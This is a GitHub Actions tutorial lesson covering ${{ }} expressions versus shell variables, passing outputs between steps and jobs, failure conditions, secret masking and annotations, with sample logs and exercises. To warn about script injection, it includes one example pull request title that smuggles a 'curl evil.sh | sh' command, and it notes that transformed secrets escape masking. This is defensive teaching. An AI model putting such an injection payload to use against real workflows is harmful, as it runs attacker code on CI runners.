4. Expressions, contexts and outputs
Sections
Reading settings
Natural voice recorded for this course, the same in every browser.
No voice for this language in this browser.
More voices
Code and English terms
Off: the page’s voice reads everything, with no pause between two voices.
No voice for this language in this browser.
More voices
More voices: Microsoft Edge has natural online voices, and Windows (Settings › Time & language › Speech), macOS and Android install others.
Two kinds of substitution
Section titled “Two kinds of substitution”Lesson 1 showed that ${{ github.event_name }} was already replaced in the script the runner executed, while $RUNNER_OS was expanded by bash. Keep the two apart:
${{ expression }} |
$VAR / $env:VAR |
|
|---|---|---|
| Evaluated by | GitHub, before the step runs | the shell, while the step runs |
| Can read | contexts: github, env, vars, secrets, inputs, matrix, steps, needs, job, runner |
environment variables |
| Allowed in | almost any value of the YAML, and if: |
only inside scripts |
| C# analogy | a source generator: the text is produced before compilation | a variable read at run time |
Because ${{ }} pastes text into the script, never put untrusted values in it directly — a pull request title such as "; curl evil.sh | sh; echo " would become shell code. Pass them through env: and read $VAR instead. Lesson 7 runs it for real.
The workflow
Section titled “The workflow”.github/workflows/gha-04-data.yml:
# GitHub Actions course, lesson 4: expressions, contexts, environment, outputs, conditionsname: "GHA 04: data between steps and jobs"
on: workflow_dispatch: inputs: fail: description: Make the test step fail type: boolean default: false push: branches: [main] paths: ['.github/workflows/gha-04-data.yml']
env: COURSE: github-actions
jobs: produce: runs-on: ubuntu-latest outputs: version: ${{ steps.version.outputs.value }} env: LESSON: '04' steps: - name: Expressions and contexts run: | echo "course=$COURSE lesson=$LESSON" echo "run ${{ github.run_number }}, attempt ${{ github.run_attempt }}" echo "is main: ${{ github.ref == 'refs/heads/main' }}" echo "upper: ${{ format('{0}-{1}', env.COURSE, env.LESSON) }}"
- name: Compute a version id: version run: echo "value=1.0.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
- name: Export a variable for later steps run: echo "BUILD_LABEL=build-${{ steps.version.outputs.value }}" >> "$GITHUB_ENV"
- name: Read it back run: echo "BUILD_LABEL is $BUILD_LABEL"
- name: A secret is masked in logs env: TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | echo "token length: ${#TOKEN}" echo "token: $TOKEN"
- name: Tests (fail on demand) run: | if [ "${{ inputs.fail }}" = "true" ]; then echo "::error file=code/github-actions/dotnet/Slugs/Slug.cs,line=9::Pretend a test failed" exit 1 fi echo "tests passed"
- name: Only on failure if: failure() run: echo "a previous step failed"
- name: Always if: always() run: | echo "job status: ${{ job.status }}" echo "### Version ${{ steps.version.outputs.value }}" >> "$GITHUB_STEP_SUMMARY"
consume: needs: produce runs-on: ubuntu-latest steps: - run: echo "version from produce = ${{ needs.produce.outputs.version }}"Run 1: everything passes
Section titled “Run 1: everything passes”The first step, as the runner received it and as it printed:
echo "course=$COURSE lesson=$LESSON"echo "run 1, attempt 1"echo "is main: true"echo "upper: github-actions-04"course=github-actions lesson=04run 1, attempt 1is main: trueupper: github-actions-04env:at workflow level (COURSE) and at job level (LESSON) both became environment variables; the most specific level wins when names collide.github.run_numbercounts the runs of this workflow (1 here, it’s new);run_attemptincreases when you click Re-run.==returnstrue/false;format()is one of the built-in functions, withcontains(),startsWith(),toJSON(),hashFiles()…
Passing data between steps
Section titled “Passing data between steps”Two special files do it:
| Write to | Syntax | Read later as |
|---|---|---|
$GITHUB_OUTPUT |
name=value |
${{ steps.<id>.outputs.<name> }} (the step needs an id) |
$GITHUB_ENV |
NAME=value |
$NAME in the following steps (not the current one) |
echo "value=1.0.1" >> "$GITHUB_OUTPUT"echo "BUILD_LABEL=build-1.0.1" >> "$GITHUB_ENV"... BUILD_LABEL: build-1.0.1BUILD_LABEL is build-1.0.1From the step after the export on, the log lists BUILD_LABEL in the step’s env: block.
Passing data between jobs
Section titled “Passing data between jobs”Jobs run on different machines, so a step output must be declared as a job output (jobs.produce.outputs.version), and the consumer must declare needs: produce:
version from produce = 1.0.1Without needs, consume would start at the same time as produce and needs.produce wouldn’t exist.
Secrets are masked
Section titled “Secrets are masked” TOKEN: ***token length: 377token: ***The runner replaces every occurrence of a secret’s value with *** in the logs, even when a script prints it. The length still leaks — and masking is based on the exact value: a secret transformed by the script (base64-encoded, split, reversed) isn’t recognized. Masking protects against accidents, not against a malicious step.
Run 2: failing on demand
Section titled “Run 2: failing on demand”gh workflow run gha-04-data.yml --field fail=trueif [ "true" = "true" ]; then echo "::error file=code/github-actions/dotnet/Slugs/Slug.cs,line=9::Pretend a test failed" exit 1fi##[error]Pretend a test failed##[error]Process completed with exit code 1.What happened to the steps and jobs after it:
produce failure Tests (fail on demand) failure Only on failure success Always successconsume skipped- Every step has an implicit
if: success(): after a failure, normal steps are skipped.failure()runs only if a previous step failed;always()runs no matter what — including after a cancellation. job.statuswasfailurein theAlwaysstep:echo "job status: failure".consumewas skipped, not failed:needsalso implies success. Writeif: always()on the job (orif: ${{ !cancelled() }}) to run it anyway.
Annotations
Section titled “Annotations”::error file=…,line=…::message is a workflow command: the runner turns it into an annotation attached to that file and line, visible on the run summary and in the pull request’s Files changed tab. Through the API:
gh api repos/spareilleux/learn/check-runs/<job-id>/annotations --jq '.[] | "\(.annotation_level) \(.path):\(.start_line) \(.message)"'failure .github:14 Process completed with exit code 1.failure code/github-actions/dotnet/Slugs/Slug.cs:9 Pretend a test failed::warning and ::notice work the same way. And $GITHUB_STEP_SUMMARY accepts Markdown: the ### Version 1.0.2 line of the Always step appears as a heading on the run’s summary page.
Key takeaways
Section titled “Key takeaways”${{ }}is evaluated by GitHub and pasted as text;$VARis read by the shell. Untrusted values go throughenv:.$GITHUB_OUTPUT→steps.<id>.outputs;$GITHUB_ENV→ variables for the next steps; joboutputs+needs→ data between jobs.- After a failure, only
failure()andalways()steps run, and dependent jobs are skipped. - Secrets are masked by value in logs, which is a safety net, not a security boundary.
::error file=,line=::creates annotations;$GITHUB_STEP_SUMMARYwrites the run summary.
Exercises
Section titled “Exercises”- In the
Export a variable for later stepsstep, addecho "now: $BUILD_LABEL"after the>> "$GITHUB_ENV"line. What does it print?
Solution
now: followed by nothing. Checked with gha-04-exercises.yml:
now:next: build-1$GITHUB_ENV is read by the runner between steps: the variable exists from the next step on. Inside the same step, use a normal shell variable.
- Make
consumerun even whenproducefails, but not when the run is cancelled. What willneeds.produce.outputs.versioncontain after the failing run?
Solution
From .github/workflows/gha-04-exercises.yml, lines 28-30:
consume: needs: produce if: ${{ !cancelled() }}The version: it was written to $GITHUB_OUTPUT before the failing step, and job outputs are evaluated at the end of the job whatever its result. An output of a step that never ran is an empty string. The check workflow declares both, then fails between them:
produce result: failureversion: '1.0.1'never: ''- A workflow runs on
pull_requestand prints the title withrun: echo "Title: ${{ github.event.pull_request.title }}". Rewrite the step safely.
Solution
- name: Show the title env: TITLE: ${{ github.event.pull_request.title }} run: echo "Title: $TITLE"The expression is now only used as the value of an environment variable; bash reads $TITLE as data and never parses its content as code.